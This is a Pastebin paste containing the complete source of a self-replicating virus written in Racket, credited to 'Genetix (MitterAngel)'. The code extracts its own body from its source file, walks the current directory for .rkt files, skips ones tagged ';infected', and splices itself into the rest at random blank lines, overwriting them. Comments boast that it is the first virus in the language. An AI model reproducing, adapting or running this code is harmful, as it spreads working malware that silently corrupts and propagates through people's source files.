SHARE
TWEET

MitterAngel_Racket

a guest Jun 11th, 2015 527 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;Author: Genetix (MitterAngel)
  2. ;Desc: Virus written in the functional language Racket, It's the first virus in this language and it's _
  3. ;the 2nd virus written in a functional language that uses the EPO method for infections (SPTH did one in F#)
  4. ;Name: Confuzzed-Racket
  5.  
  6. #lang racket
  7.  
  8. ;start
  9.  
  10. ;infected
  11.  
  12. (define new-code '())
  13. (define vir-entry 0)
  14. (define start-read 0)
  15. (define lst-code '())
  16. (define host-code '())
  17. (define entry-points '())
  18. (define file-collection '())
  19. (define uninfected '())
  20.  
  21. ;begin virus extraction block
  22. (define read-all (file->lines
  23.         (~a(syntax-source #'here))))
  24.  
  25. (define (virus-body-list elem)
  26.         (set! lst-code (foldr cons
  27.         (list elem) lst-code)))
  28.  
  29. ;basically extracts the virus the same way as all my other viruses do.
  30. ;never fails me!
  31. (define virus-body (let loop ((l read-all))
  32.    (cond ((null? l) #f)
  33.          (else
  34.           (if (equal? (first l) ";start") (set! start-read 1) #f)
  35.           (if (equal? start-read 1) (virus-body-list (first l)) #f)
  36.           (if (equal? (first l) ";stop") (set! start-read 0) #f)    
  37.    (loop (rest l))))))
  38.  
  39. virus-body
  40. ;end virus extraction block
  41.  
  42. ;infection routines begins here
  43. ;set entry point
  44. (define (select-random-entry list) (
  45.         set! vir-entry (list-ref list
  46.         (random (length list)))))
  47.  
  48. ;create a list of host file's contents
  49. (define (read-all-host file-in)
  50.         (for/list ([i (file->lines file-in)]) (
  51.         set! host-code (foldr cons (list i) host-code))))
  52.  
  53. ;search for possible entry points
  54. (define (entry-point-position) (
  55.         for/list ([line host-code]
  56.         [n (in-naturals)]
  57.         #:when (zero? (string-length line)))(
  58.         set! entry-points (foldr cons (list n) entry-points))))
  59.  
  60. ;create new code
  61. (define (newcode) (
  62.         set! new-code [append  (
  63.         take host-code vir-entry)
  64.         lst-code (drop host-code vir-entry)]))
  65.  
  66. ;write virus to victim file
  67. (define (infect-file lstcode host)(
  68.         display-lines-to-file lstcode
  69.         host
  70.         #:exists 'replace
  71.         #:mode 'text))
  72.  
  73. ;start calling infection routines and clean up a little
  74. (define (begin-infect in-file) (read-all-host in-file)
  75.                                (entry-point-position)
  76.                                (select-random-entry entry-points)
  77.                                (newcode)
  78.                                (infect-file new-code in-file)
  79.                                (set! host-code '())
  80.                                (set! new-code '())
  81.                                (set! entry-points '())
  82.                                (set! entry-points '()))
  83.            
  84. ;this code was actually on the homepage of the racket website, thank you!^^
  85. (for ([path (in-directory)]  
  86.         #:when (regexp-match? #rx"[.]rkt$" path)) (
  87.         set! file-collection (
  88.         foldr cons (list path)
  89.         file-collection)))
  90.  
  91. ;ugly stuff here, basically we find uninfected files
  92. (define (killit item) (
  93.         set! uninfected (
  94.         foldr cons (list item) uninfected)))
  95.  
  96. (define (infected file-in)(
  97.         for/list ([i (file->lines file-in)])
  98.         (cond ((equal? i ";infected") (
  99.         killit (~a file-in))))))        
  100.  
  101. (for ([i file-collection])(infected i))
  102.  
  103. (for/list ([x (in-list file-collection)]
  104.         #:unless (member (~a x) uninfected))
  105.         (begin-infect x))
  106.  
  107. ;stop
RAW Paste Data
Top